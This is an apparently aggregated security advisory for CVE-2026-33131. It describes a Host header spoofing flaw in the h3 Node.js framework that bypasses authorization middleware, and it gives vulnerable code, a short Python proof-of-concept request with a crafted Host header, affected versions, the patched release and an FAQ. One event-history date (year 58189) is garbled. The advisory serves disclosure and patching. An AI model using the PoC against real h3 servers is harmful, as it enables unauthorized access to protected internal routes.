CVE-2026-33131: h3 has a middleware bypass with one gadget

Published Mar 18, 2026
·
Updated

H3 NodeRequestUrl bugs

Vulnerable pieces of code : js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3()

const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key");

if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); }

return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly);

app.get("/internal/run", () => { return "Internal OK"; });

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url.url

It will lead to trigger one specials method

js // url.mjs FastURL get url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; }

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code : js this.#url = new NativeURL(this.href); Where is the this.href comes from ? js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; return this.#href; } Because the this.#url is still null so this.#href is built up by : js if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares js handler(event) { const route = this"~findRoute"; if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this"~getMiddleware"; return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); }

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc : py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger url() from class FastURL and need a fix immediately.

Other sources

H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url.url is accessed, such as in a logging middleware, the url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.

MITRE

Affected Software

15 affected componentsFixes available
npm/h3>=2.0.0-0<2.0.1-rc.15
2.0.1-rc.15
H3 H3 Node.js=2.0.0
H3 H3 Node.js=2.0.1-rc10
H3 H3 Node.js=2.0.1-rc11
H3 H3 Node.js=2.0.1-rc12
H3 H3 Node.js=2.0.1-rc13
H3 H3 Node.js=2.0.1-rc14
H3 H3 Node.js=2.0.1-rc2
H3 H3 Node.js=2.0.1-rc3
H3 H3 Node.js=2.0.1-rc4
H3 H3 Node.js=2.0.1-rc5
H3 H3 Node.js=2.0.1-rc6
H3 H3 Node.js=2.0.1-rc7
H3 H3 Node.js=2.0.1-rc8
H3 H3 Node.js=2.0.1-rc9

Event History

Mar 18, 2026
Advisory Published
via GitHub·04:18 PM
Data Sourced
via GitHub·04:18 PM
DescriptionSeverityWeaknessAffected Software
Mar 20, 2026
CVE Published
via MITRE·10:16 AM
Data Sourced
via MITRE·10:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:18 AM
DescriptionSeverityWeaknessAffected Software
Jan 12, 58189
Event
via FIRST·03:05 AM

Frequently Asked Questions

1

What is the severity of CVE-2026-33131?

CVE-2026-33131 is classified as a high severity vulnerability due to its potential to compromise internal security mechanisms.

2

How do I fix CVE-2026-33131?

To fix CVE-2026-33131, you should upgrade the affected 'h3' package to version 2.0.1-rc.15 or later.

3

What systems are affected by CVE-2026-33131?

CVE-2026-33131 affects versions of the 'h3' package from 2.0.0-0 up to 2.0.1-rc.15.

4

What impact does CVE-2026-33131 have on applications?

CVE-2026-33131 can allow unauthorized access to internal APIs if the internal key is not properly validated.

5

Is there a specific version of 'h3' recommended to mitigate CVE-2026-33131?

Yes, it is recommended to use version 2.0.1-rc.15 of the 'h3' package to mitigate CVE-2026-33131.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203